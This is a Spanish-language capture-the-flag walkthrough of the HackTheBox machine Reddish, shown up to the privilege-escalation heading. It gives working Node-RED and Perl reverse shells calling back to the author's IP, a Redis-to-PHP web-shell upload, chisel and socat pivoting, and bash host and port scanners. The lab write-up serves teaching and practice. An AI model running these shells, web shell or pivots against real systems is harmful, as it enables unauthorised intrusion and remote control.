image-center

Habilidades: Abusing Node-RED, Abusing Redis, Dynamic Port Forwarding (chisel), HTTP Request without curl Command, Pivoting (socat + proxychains), Abusing rsync - Wildcard Filename, Abusing Cron Jobs, Disk Mount

Introducción

Reddish es una máquina Linux de dificultad Insane en HackTheBox donde debemos aplicar conceptos de Pivoting y explotación de diferentes servicios para ir comprometiendo redes internas hasta llegar a la máquina real y vencer Reddish.

Reconocimiento


Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa

ping 10.10.10.94 -c 1
PING 10.10.10.94 (10.10.10.94) 56(84) bytes of data.
64 bytes from 10.10.10.94: icmp_seq=1 ttl=63 time=220 ms

--- 10.10.10.94 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 219.915/219.915/219.915/0.000 ms

Nmap Scanning

Comenzaremos realizando un escaneo de puertos abiertos en la máquina víctima

nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.94 -oG openPorts

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-05 10:17 EDT
Nmap scan report for 10.10.10.94
Host is up (0.53s latency).
Not shown: 52848 closed tcp ports (reset), 12686 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
1880/tcp open  vsat-control

Nmap done: 1 IP address (1 host up) scanned in 30.01 seconds
  • --open: Mostrar únicamente los puertos abiertos
  • -p-: Hacer un escaneo del total de puertos (65535)
  • --min-rate 5000: Enviar mínimo 5000 paquetes por segundo
  • -n: No aplicar resolución DNS, lo que acelera el escaneo
  • -sS: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil
  • -Pn: Omitir el descubrimiento de host (ARP)
  • -oG: Exportar en formato grepable
  • -v: Ver el progreso del escaneo

Haremos un segundo escaneo con el fin de detectar la versión y los servicios que se ejecutan en los puertos abiertos que hemos descubierto

nmap -p 1880 -sVC 10.10.10.94 -oN services 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-05 10:20 EDT
Nmap scan report for 10.10.10.94
Host is up (0.16s latency).

PORT     STATE SERVICE VERSION
1880/tcp open  http    Node.js Express framework
|_http-title: Error

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.19 seconds
  • -p: Especificar puertos
  • -sV: Identificar la versión del servicio
  • -sC: Uso de scripts de reconocimiento
  • -oN: Exportar la salida en formato normal

Web Analysis - Node-RED

Haremos un escaneo de tecnologías web que puedan estar presentes, intentaremos detectar versiones y saber a qué nos enfrentamos

whatweb http://10.10.10.94:1880                                      
http://10.10.10.94:1880 [404 Not Found] Country[RESERVED][ZZ], HTML5, IP[10.10.10.94], Title[Error], UncommonHeaders[content-security-policy,x-content-type-options], X-Powered-By[Express]

Vemos que no detectará nada porque la web genera un error al hacer una solicitud. Si navegamos hasta la web, vemos el siguiente error

image-center

Al enviar una solicitud con el método POST, podemos ver el servidor nos responde lo siguiente

 curl -X POST http://10.10.10.94:1880 ;echo
{"id":"a23b389789868b5a58b1b26873e34800","ip":"::ffff:10.10.14.12","path":"/red/{id}"}

Nos envía un JSON con una serie de datos, un id, IP y path, si navegamos hasta /red/{id} usando el ID que se nos proporciona, ingresaremos a la siguiente web

image-center

Vemos una interfaz donde podemos arrastrar nodos y crear diagramas de flujo, por el título podemos identificar la tecnología Node-RED

Node-RED es una herramienta de programación visual basada en flujo, ideal para conectar dispositivos, APIs y servicios web. Permite construir aplicaciones sin necesidad de escribir código, utilizando un editor gráfico basado en navegador donde se conectan nodos predefinidos.


Intrusión / Explotación - nodered


Abusing Node-RED

Podemos usar nodos que nos permitan enviar conexiones remotas además de ejecutar comandos en el sistema gracias a los nodos tcp y exec

image-center

Aprovecharemos esto para enviarnos una reverse shell, y lo podemos hacer de la siguiente manera

Reverse Shell via JSON Import

Utilizaremos el siguiente JSON para establecer una conexión con nuestra máquina

  • https://raw.githubusercontent.com/valkyrix/Node-Red-Reverse-Shell/refs/heads/master/node-red-reverse-shell.json
 wget https://raw.githubusercontent.com/valkyrix/Node-Red-Reverse-Shell/refs/heads/master/node-red-reverse-shell.json
--2025-05-05 10:38:33--  https://raw.githubusercontent.com/valkyrix/Node-Red-Reverse-Shell/refs/heads/master/node-red-reverse-shell.json
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 717 [text/plain]
Saving to: ‘node-red-reverse-shell.json.1’

node-red-reverse-shell.json.1                 100%[=================================================================================================>]     717  --.-KB/s    in 0s      

2025-05-05 10:38:33 (32.4 MB/s) - ‘node-red-reverse-shell.json.1’ saved [717/717]

Ahora debemos editar el archivo para configurar los parámetros antes de enviarlos al servidor, ajustaremos los valores de host y port, ingresando nuestra IP de HTB y un puerto para recibir la conexión

[{"id":"7235b2e6.4cdb9c","type":"tab","label":"Flow 1"},{"id":"d03f1ac0.886c28","type":"tcp out","z":"7235b2e6.4cdb9c","host":"","port":"","beserver":"reply","base64":false,"end":false,"name":"","x":786,"y":350,"wires":[]},{"id":"c14a4b00.271d28","type":"tcp in","z":"7235b2e6.4cdb9c","name":"","server":"client","host":"10.10.14.12","port":"443","datamode":"stream","datatype":"buffer","newline":"","topic":"","base64":false,"x":281,"y":337,"wires":[["4750d7cd.3c6e88"]]},{"id":"4750d7cd.3c6e88","type":"exec","z":"7235b2e6.4cdb9c","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":517,"y":362.5,"wires":[["d03f1ac0.886c28"],["d03f1ac0.886c28"],["d03f1ac0.886c28"]]}]

Para copiarlo directamente podemos utilizar la herramienta xclip

cat node-red-reverse-shell.json -p | jq | xclip -sel clip

Una vez lo tengamos copiado, nos dirigimos a la web para importar este JSON, nos dirigimos a Menu > Import > Clipboard, y pegamos el JSON, enseguida presionamos Import, debería haberse creado un nuevo Flow con los siguientes nodos

image-center

También podríamos haber hecho esto manualmente arrastrando los nodos y configurando el primero para conectarse a nuestra IP por el puerto seleccionado, y configurar el último nodo de salida en Reply to TCP

image-center

Ahora pondremos el puerto a la escucha que seleccionamos para recibir la conexión

nc -lvnp 443

Si presionamos Deploy, deberíamos recibir la conexión de la siguiente forma

nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 46766
whoami
root

(Failed) TTY Treatment

Haremos un tratamiento de la shell para que sea más interactiva y poder operar de forma más cómoda

Si intentamos hacerlo directamente desde esta consola, se va pal carajo todo

[object Object]script /dev/null -c bash
^Z
[1]  + 68418 suspended  nc -lvnp 443
root@parrot reddish \# stty raw -echo; fg                  
[1]  + 68418 continued  nc -lvnp 443
                                    /bin/sh: 1: r: not found
                                                            [object Object]/bin/sh: 1: e: not found
                                                                                                   [object Object]/bin/sh: 1: s: not found
                                                                                                                                          [object Object]/bin/sh: 1: et: not found
                                                                                                                                                                                  [object Object][object Object]

Reverse Shell - perl

Existe el lenguaje de programación perl dentro de la máquina, podemos enviar otra shell para poder hacer un tratamiento posterior

[object Object]which perl 
/usr/bin/perl

Utilizaremos este oneliner para enviarnos una conexión nuevamente al puerto 443. Podemos visitar el siguiente enlace que corresponde a una Cheat Sheet u hoja de trucos para establecer reverse shells en diferentes lenguajes de programación o línea de comandos

  • https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Editaremos las variables i y p para ingresar nuestra IP de HackTheBox y el puerto por el que recibiremos la shell

cat -p revshell                                  
perl -e 'use Socket;$i="10.10.14.12";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

A continuación cerraremos la pestaña actual para volver a poner el puerto a la escucha, como la conexión desde node-RED vuelve intentar establecerse, al esperar un momento deberíamos recibir la conexión automáticamente.

Cuando estemos nuevamente en la consola, enviaremos la siguiente línea para enviarnos la shell con perl

[object Object] perl -e 'use Socket;$i="10.10.14.12";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Desde nuestro listener ya deberíamos haber recibido la shell, y ya por apariencia se ve mejor

nc -lvnp 443 
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 34702
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

TTY Treatment

Continuaremos con el tratamiento como lo hacemos de forma habitual

\# script /dev/null -c bash
root@nodered:/node-red# ^Z
[1]  + 101864 suspended  nc -lvnp 443
root@parrot reddish \# stty raw -echo; fg
[1]  + 101864 continued  nc -lvnp 443
                                     reset xterm

Para finalizar el tratamiento, cambiaremos el valor de la variable de entorno TERM y ajustaremos las proporciones de la consola para que se ajuste a nuestra pantalla

root@nodered:/node-red# export TERM=xterm
root@nodered:/node-red# stty rows 44 columns 184


Reconocimiento - www


Network Interfaces

Si listamos la IP de las interfaces de red, podemos ver que estamos dentro de un contenedor y no de la máquina real

root@nodered:/node-red# hostname -I 
172.18.0.2 172.19.0.4

También podemos hacerlo con el comando ip para ver más información

root@nodered:/tmp# ip a | grep inet
    inet 127.0.0.1/8 scope host lo
    inet 172.19.0.3/16 brd 172.19.255.255 scope global eth1
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0

Ping Sweep

Haremos descubrimiento de hosts en estas subredes, para eso usaremos el comando ping, que por suerte está instalado en el contenedor

root@nodered:/node-red# which ping 
/bin/ping

Podemos utilizar el comando ping para ir detectando hosts activos en el segmento de red que estamos operando de la siguiente forma

root@nodered:/node-red# timeout 1 ping -c 1 172.18.0.12 &>/dev/null && echo 'Host up!'

Si vemos el código de estado del comando anterior con un valor de 0, significa que el comando ha sido exitoso, si su valor es 1, indica un error

root@nodered:/node-red# ping -c 1 172.18.0.1 &>/dev/null
root@nodered:/node-red# echo $?
0
root@nodered:/node-red# ping -c 1 172.18.0.10 &>/dev/null
root@nodered:/node-red# echo $?
124

Podemos ejecutar el siguiente oneliner que haga un ping en bucle a cada host de la subred y en base al código de estado validar si está activo gracias al operador &&

root@nodered:/node-red# timeout 1 bash -c 'for i in $(seq 1 254); do ping -c 1 172.18.0.$i &>/dev/null && echo "Host 172.18.0.$i is up!" & done; wait'
Host 172.18.0.2 is up!
Host 172.18.0.1 is up!

root@nodered:/node-red# timeout 1 bash -c 'for i in $(seq 1 254); do ping -c 1 172.19.0.$i &>/dev/null && echo "Host 172.18.0.$i is up!" & done; wait'
Host 172.18.0.3 is up!
Host 172.18.0.4 is up!
Host 172.18.0.2 is up!
Host 172.18.0.1 is up!

Ping Sweep - bash Scripting

Podemos crear un script en bash que se encargue de descubrir hosts activos en ambas redes

#!/bin/bash

function ctrl_c(){
	echo -e "\nExiting..."
	exit 1
}

trap ctrl_c INT

subnets=($@)
echo -e "\nScanning network(s): (${subnets[@]})"

for network in ${subnets[@]}; do
	for host in $(seq 1 254); do

		prefix=$(echo "$network" | tr -t ' ' '\n'| cut -d '/' -f1 | cut -d'.' -f1-3)
		timeout 1 ping -c 1 $prefix.$host &>/dev/null && echo -e "\t[+] Host $prefix.$host" is up! &

	done; wait
done;

Podemos enviarlo en base64 para no tener que establecer nuevas conexiones con este contenedor. Desde nuestra máquina hacemos la codificación y copiamos directamente en el portapapeles

cat host_discover.sh| base64 -w 0 | xclip -sel clip
  • -w 0: Evitar saltos de línea

En la máquina víctima decodificaremos el script y lo guardaremos, posteriormente le asignaremos permisos de ejecución

root@nodered:/tmp# echo IyEvYmluL2Jhc2gKCmZ1bmN0aW9uIGN0cmxfYygpewoJZWNobyAtZSAiXG5FeGl0aW5nLi4uIgoJZXhpdCAxCn0KCnRyYXAgY3RybF9jIElOVAoKc3VibmV0cz0oJEApCmVjaG8gLWUgIlxuU2Nhbm5pbmcgbmVd29yayhzKTogKCR7c3VibmV0c1tAXX0pIgoKZm9yIG5ldHdvcmsgaW4gJHtzdWJuZXRzW0BdfTsgZG8KCWZvciBob3N0IGluICQoc2VxIDEgMjU0KTsgZG8KCgkJcHJlZml4PSQoZWNobyAiJG5ldHdvcmsiIHwgdHIgLXQgJyAnICdcbid8IGNdCAtZCAnLycgLWYxIHwgY3V0IC1kJy4nIC1mMS0zKQoJCXRpbWVvdXQgMSBwaW5nIC1jIDEgJHByZWZpeC4kaG9zdCAmPi9kZXYvbnVsbCAmJiBlY2hvIC1lICJcdFsrXSBIb3N0ICRwcmVmaXguJGhvc3QiIGlzIHVwISAmCgoJZG9uZTsgd2FdApkb25lOwoKCg== | base64 -d > host_discover.sh

root@nodered:/tmp# chmod +x host_discover.sh

Discovering

Si ejecutamos el script veremos los equipos que e encuentran activos en las subredes

root@nodered:/tmp# ./host_discover.sh 172.18.0.0/16 172.19.0.0/16 

Scanning network(s): (172.18.0.0/16 172.19.0.0/16)
	[+] Host 172.18.0.1 is up!
	[+] Host 172.18.0.2 is up!
	[+] Host 172.19.0.1 is up!
	[+] Host 172.19.0.2 is up!
	[+] Host 172.19.0.3 is up!
	[+] Host 172.19.0.4 is up!

Podríamos guardar esta información en un archivo para recordar las IP activas. Recordemos que el contenedor nodered posee IPs asignadas en estos segmentos

cat internal_hosts

    [+] Host 172.18.0.1 is up!
    [+] Host 172.18.0.2 is up! <- nodered (Container) 
    [+] Host 172.19.0.1 is up!
    [+] Host 172.19.0.2 is up!
    [+] Host 172.19.0.3 is up! <- nodered (Container)
    [+] Host 172.19.0.4 is up!

Open Ports Scan

Como ya tenemos una lista de equipos activos en las subredes, nuestro siguiente objetivo será identificar puertos abiertos para cada host

Understanding /dev/tcp File

En bash, existe un archivo especial que nos permite establecer conexiones por TCP, este archivo está en /dev/tcp.

Podemos usarlo para enviar información a puertos de un host de la siguiente manera

echo '' > /dev/tcp/IP/PORT

Esto se encarga de establecer una comunicación TCP con la IP por el puerto especificado. Aprovecharemos esto para descubrir puertos abiertos en cada una de las IP que descubrimos.

Podemos usar nuevamente operadores para comprobar que un puerto esté abierto o cerrado en cada host

# Abierto
root@nodered:/tmp# timeout 1 bash -c "echo '' > /dev/tcp/172.18.0.1/1880 && echo '[+] Open port' || echo '[-] Closed port'"
[+] Open port

# Cerrado
root@nodered:/tmp# timeout 1 bash -c "echo '' > /dev/tcp/172.18.0.1/1881 && echo '[+] Open port' || echo '[-] Closed port'"
bash: connect: Connection refused
bash: /dev/tcp/172.18.0.1/1881: Connection refused
[-] Closed port

Open Port Scan - bash Scripting

Modificaremos la lógica del script para en vez de hacer una traza ICMP a cada host, que vaya iterando por un rango de puertos de cada IP

#!/bin/bash

function ctrl_c(){
    echo -e "\nExiting..."
    exit 1
}

trap ctrl_c INT

echo -e "\nScanning hosts(s) from: ($1)"

while IFS= read -r host
do
    for port in $(seq 1 10000); do
        timeout 1 bash -c "echo '' > /dev/tcp/$host/$port && echo -e '\t[+] Port $port/open on host $host'" 2>/dev/null &
    done; wait
done < "$1"

En vez de transferir el script, copiaremos su contenido en base64 con el siguiente comando

cat port_scanner.sh | base64 -w 0 | xclip -sel clip

Pegaremos la cadena en base64 en el contendor, lo guardaremos y le daremos permisos de ejecución al script de la siguiente forma

root@nodered:/tmp# echo IyEvYmluL2Jhc2gKCmZ1bmN0aW9uIGN0cmxfYygpewoJZWNobyAtZSAiXG5FeGl0aW5nLi4uIgoJZXhpdCAxCn0KCnRyYXAgY3RybF9jIElOVAoKZWNobyAtZSAiXG5TY2FubmluZyBob3N0cyhzKSBmcm9tOiAoJDEpIgoKd2hpbGUgSUZTPSByZWFkIC1yIGhvc3QKZG8KCWZvciBwb3J0IGluICQoc2VxIDEgMTAwMDApOyBkbwoJCXRpbWVvdXQgMSBiYXNoIC1jICJlY2hvICcnID4gL2Rldi90Y3AvJGhvc3QvJHBvcnQgJiYgZWNobyAtZSAnXHRbK10gUG9ydCAkcG9ydC9vcGVuIG9uIGhvc3QgJGhvc3QnIiAyPi9kZXYvbnVsbCAmCglkb25lOyB3YWl0CmRvbmUgPCAiJDEiCgoKCgoK | base64 -d > port_scanner.sh

root@nodered:/tmp# chmod +x port_scanner.sh 

Crearemos un archivo en nuestra máquina que contenga los hosts activos, iremos leyendo cada línea de él

cat hosts.txt

172.18.0.1
172.19.0.1
172.19.0.2
172.19.0.4

Copiaremos el archivo de la misma forma que lo hicimos con el script (en base64)

cat hosts.txt | base64 -w 0 | xclip -sel clip

Pegamos la cadena, decodificamos en base64 y guardamos con un nombre, por ejemplo hosts.txt

root@nodered:/tmp# echo MTcyLjE4LjAuMQoxNzIuMTkuMC4xCjE3Mi4xOS4wLjIKMTcyLjE5LjAuNAo= | base64 -d > hosts.txt

Scanning

Ejecutaremos la herramienta que acabamos de crear para buscar puertos abiertos en todas las IP. Ahora solamente necesitamos editar el archivo hosts.txt para escanear otras IP

root@nodered:/tmp# ./port_scanner.sh hosts.txt 

Scanning hosts(s) from: (hosts.txt)
	[+] Port 1880/open on host 172.18.0.1
	[+] Port 6379/open on host 172.19.0.2
	[+] Port 80/open on host 172.19.0.4

Hemos descubierto tres puertos en las IP, de forma que el mapeo de la red quedaría de la siguiente forma

    [+] Host 172.18.0.1 is up!
        [+] Port 1880/open

    [+] Host 172.18.0.2 is up! <-- nodered
    [+] Host 172.19.0.1 is up!
    [+] Host 172.19.0.2 is up!
        [+] Port 6379/open

    [+] Host 172.19.0.3 is up! <-- nodered
    [+] Host 172.19.0.4 is up!
        [+] Port 80/open 

Dynamic Port Forwarding - chisel

Abriremos un túnel SOCKS con la ayuda de chisel para comunicar los puertos abiertos que solamente desde el segmento del contenedor podemos alcanzar, esta técnica es conocida como Port Forwarding

Instalaremos la herramienta chisel ejecutando esta serie de comandos

git clone https://github.com/jpillora/chisel

cd chisel
go build -ldflags "-s -w" .
upx chisel # si quieres reducir el tamaño del binario

Compartiremos el binario a través de la red abriendo un servidor HTTP en nuestra máquina

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Si tienes problemas con libc, puedes descargar un binario pre-compilado desde el reposotorio oficial y descomprimirlo con gunzip

wget https://github.com/jpillora/chisel/releases/download/v1.7.6/chisel_1.7.6_linux_amd64.gz

gunzip chisel_1.7.6_amd64.gz
./chisel_1.76_amd64.gz

HTTP Request without curl Command

El contenedor no tiene herramientas como curl, wget o nc, así que usaremos el poder de /dev/tcp para definir la siguiente función en el contenedor para hacer solicitudes HTTP.

Pegaremos esta función en la shell del contenedor para definirla y poder utilizarla

function __curl() {
  read -r proto server path <<<"$(printf '%s' "${1//// }")"
  if [ "$proto" != "http:" ]; then
    printf >&2 "sorry, %s supports only http\n" "${FUNCNAME[0]}"
    return 1
  fi
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [ "${HOST}" = "${PORT}" ] && PORT=80

  exec 3<>"/dev/tcp/${HOST}/$PORT"
  printf 'GET %s HTTP/1.0\r\nHost: %s\r\n\r\n' "${DOC}" "${HOST}" >&3
  (while read -r line; do
   [ "$line" = $'\r' ] && break
  done && cat) <&3
  exec 3>&-
}

Inmediatamente después usaremos la función de la siguiente manera para descargar chisel en el contenedor, además le daremos permisos de ejecución

root@nodered:/tmp# __curl http://10.10.14.12/chisel > chisel

Puedes validar la integridad del archivo computando el hash MD5 resultante en ambas máquinas, deberían ser iguales

md5sum chisel
58037ef897ec155a03ea193df4ec618a  chisel

Tunneling

Iniciaremos un servidor con chisel en modo inverso, esto significa que será la máquina nodered la que gestione el reenvío de puertos hacia nuestro servidor

chisel server -p 8000 --reverse

2025/05/05 23:55:39 server: Reverse tunnelling enabled
2025/05/05 23:55:39 server: Fingerprint 5sNYhYK5RxLv7Im/5JsR5lbV2fLZlzVdLlrPoAaODCY=
2025/05/05 23:55:39 server: Listening on http://0.0.0.0:8000

Conectaremos nodered a nuestro servidor con chisel al puerto 8000 para iniciar el reenvío

root@nodered:/tmp# ./chisel client 10.10.14.12:8000 R:socks

2025/05/06 03:58:35 client: Connecting to ws://10.10.14.12:8000
2025/05/06 03:58:36 client: Connected (Latency 189.893199ms)

Desde el servidor chisel en nuestra máquina, se abrirá una sesión en el puerto 1080. Este nuevo túnel SOCKS5 será nuestro canal de comunicación con las redes internas de las que el contenedor nodered forma parte

2025/05/05 23:56:09 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

proxychains Setup

Configuraremos proxychains para poder hacer uso del túnel, podemos consultar la configuración necesaria rápidamente gracias al comando grep, donde necesitaremos habilitar las siguientes opciones

  • strict_chain: Descomentar esta línea y comentar las demás que hagan alusión al modo de proxy (dynamic_chain, random_chain)
  • socks5 127.0.0.1 1080: Especificamos el puerto por el cual se encuentra la sesión activa
cat /etc/proxychains.conf | grep -E "strict_chain|socks"
strict_chain
#            	socks5	192.168.67.78	1080	lamer	secret
#		socks4	192.168.1.49	1080
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#socks4 	127.0.0.1 9050
socks5 127.0.0.1 1080

Desde FoxyProxy podemos configurar el proxy SOCKS para poder visualizar páginas web

image-center

Nmap Scan through proxychains

Una vez configuramos proxychains, podemos utilizarlo para dirigir un escaneo de servicios con nmap a cada host de las redes internas, la lista de hosts que encontramos era la siguiente

cat hosts.txt

172.18.0.1
172.19.0.1
172.19.0.2
172.19.0.4

Con nmap podemos escanear múltiples hosts enviando el archivo

proxychains -q nmap -p 80,6379 --open -sT -n -Pn -sVC -iL hosts.txt -oN services_internal_hosts

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-06 00:25 EDT
Nmap scan report for 172.19.0.2
Host is up (0.59s latency).
Not shown: 1 closed tcp port (conn-refused)
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Nmap scan report for 172.19.0.3
Host is up (0.48s latency).
Not shown: 1 closed tcp port (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Reddish

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 4 IP addresses (4 hosts up) scanned in 28.64 seconds

Web Analysis - www

Si visitamos la web de la dirección IP 172.19.0.3, veremos el siguiente mensaje

image-center

Si revisamos el código fuente, podemos darnos cuenta que existe un directorio 8924d0549008565c554f8128cd11fda4

$(document).ready(function () {
								incrCounter();
						    getData();
						});

						function getData() {
						    $.ajax({
						        url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
						        cache: false,
						        dataType: "text",
						        success: function (data) {
											console.log("Number of hits:", data)
						        },
						        error: function () {
						        }
						    });
						}

						function incrCounter() {
						    $.ajax({
						        url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
						        cache: false,
						        dataType: "text",
						        success: function (data) {
				              console.log("HITS incremented:", data);
						        },
						        error: function () {
						        }
						    });
						}

						/*
							* TODO
							*
							* 1. Share the web folder with the database container (Done)
							* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
							* ...Still don't know how to complete it...
						*/
						function backupDatabase() {
								$.ajax({
										url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
										cache: false,
										dataType: "text",
										success: function (data) {
											console.log("Database saved:", data);
										},
										error: function () {
										}
								});
						}


Si visitamos el directorio se nos señala un error que indica que no tenemos permisos para acceder

image-center

Además cada vez que recargamos la página, podemos notar en la consola del navegador que se registra un valor hits, que incrementa cada vez que recargamos la web

image-center

redis Analysis - www

Redis es un sistema de almacenamiento de datos de clave/valor en memoria, de código abierto, que -se utiliza principalmente como caché o como base de datos de respuesta rápida.

Si nos conectamos al puerto 6379, podremos utilizar el servicio redis de la IP 172.19.0.2, en el siguiente enlace podemos encontrar una guía para hacer pentesting a esta tecnología

  • https://book.hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html

Para ver información general, podemos ejecutar INFO

proxychains -q nc -v 172.19.0.2 6379 
172.19.0.2 [172.19.0.2] 6379 (redis) open : Operation now in progress
INFO
$2741
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:cce7cc41d26597f7
redis_mode:standalone
os:Linux 4.15.0-213-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:6.4.0
...
...

Este servicio puede ser usado como base de datos, broker de mensajes o como almacenamiento de caché, las bases de datos en redis comienzan desde 0, la podemos seleccionar con la palabra SELECT

# Keyspace
db0:keys=1,expires=0,avg_ttl=0

SELECT 0
+OK

Si listamos los valores existentes podemos ver un valor numérico llamado hits, este se parece al valor que vimos en la web

keys *  

*1
$4
hits
get hits 
$1
3
get hits 
$1
4

Haciendo unas pruebas, podremos detectar que la web de 172.19.0.4 posee un vínculo con el servicio de redis de la IP 172.19.0.2 por la variable hits

image-center


Intrusión / Explotación - www


Redis RCE

Para poder abusar en remoto de este servicio, instalaremos redis-tools para conectarnos al servidor de redis

apt-get install redis-tools

Crearemos un archivo php malicioso que ejecute un comando a través de un parámetro cmd (necesariamente debemos agregar saltos de línea en el archivo por un posible conflicto con metadatos que se insertarán automáticamente)




<?php
	system($_REQUEST['cmd']);
?>


Subiremos el archivo al servidor de la siguiente manera haciendo uso de proxychains

cat cmd.php | proxychains -q redis-cli -h 172.19.0.2 -x set reverse
cat cmd.php | proxychains -q redis-cli -h 172.19.0.2 config set dir /var/www/html/8924d0549008565c554f8128cd11fda4
cat cmd.php | proxychains -q redis-cli -h 172.19.0.2 config set dbfilename "cmd.php"
cat cmd.php | proxychains -q redis-cli -h 172.19.0.2 save

Crearemos un script para automatizar la subida del archivo, este será tan sencillo que solamente ejecutará las instrucciones secuencialmente

cat redis_abuse.sh -p
#!/bin/bash

cat cmd.php | proxychains -q redis-cli -h 172.19.0.2 -x set reverse
cat cmd.php | proxychains -q redis-cli -h 172.19.0.2 config set dir /var/www/html/8924d0549008565c554f8128cd11fda4
cat cmd.php | proxychains -q redis-cli -h 172.19.0.2 config set dbfilename "cmd.php"
cat cmd.php | proxychains -q redis-cli -h 172.19.0.2 save

Ejecutamos el script para que se encargue de subir cmd.php al servidor a través de redis de forma automática

./redis_abuse.sh                 
OK
OK
OK

Pivoting to www

Nuestra IP no es alcanzable desde esta nueva máquina, necesitaremos utilizar el túnel que establecimos con chisel, sin embargo, para poder establecer una reverse shell necesitamos que 172.19.0.3 conozca un camino hasta nuestra IP.

Reenviaremos todo el tráfico entrante desde el puerto 1111 de este contenedor a nuestra IP por el puerto 2222 con la ayuda de socat

root@nodered:/tmp# ./socat TCP-LISTEN:1111,fork TCP10.10.14.12:2222 &

El mapeo de la red con esta nueva conexión se vería más o menos de la siguiente manera

1. [+] Host 172.20.0.3 172.19.0.3 <-- www -> 172.19.0.4:1111 (Reverse Shell) 
2. [+] Host 172.18.0.4 172.19.0.4 <-- nodered :1111 -> 10.10.14.12:2222 (Socat)

Shell as www-data - www

Utilizaremos perl para enviar una reverse shell como lo hicimos con el primer contenedor, pero enviando la conexión al contenedor en vez de nosotros directamente

perl -e 'use Socket;$i="172.19.0.4";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Enviaremos la reverse shell codificada en URL en el parámetro id a la IP 172.19.0.4, quien está redirigiendo el tráfico por el puerto 1111 a nuestro puerto 2222 de nuestra IP

perl%20-e%20%27use%20Socket%3B%24i%3D%22172.19.0.4%22%3B%24p%3D1111%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22sh%20-i%22%29%3B%7D%3B%27

Una vez ejecutamos la solicitud, recibiremos la conexión correctamente y ganaremos acceso

nc -lvnp 2222
listening on [any] 2222 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 46532
sh: 0: can't access tty; job control turned off
$  

También podemos hacerlo mediante el comando curl si quieres enviar la solicitud por consola

proxychains -q curl -s 'http://172.19.0.3/8924d0549008565c554f8128cd11fda4/cmd.php?cmd=perl%20-e%20%27use%20Socket%3B%24i%3D%22172.19.0.4%22%3B%24p%3D1111%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22sh%20-i%22%29%3B%7D%3B%27'

TTY Treatment - www

Haremos un tratamiento de la tty para poder tener una consola interactiva

$ script /dev/null -c bash
www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$ ^Z
[1]  + 74901 suspended  nc -lvnp 2222
root@parrot reddish # stty raw -echo; fg
[1]  + 74901 continued  nc -lvnp 2222
                                     reset xterm

Asignaremos el valor a la variable TERM y ajustaremos las proporciones de la terminal

www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$ export TERM=xterm
www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$ stty rows 44 columns 184


Escalada de Privilegios - www


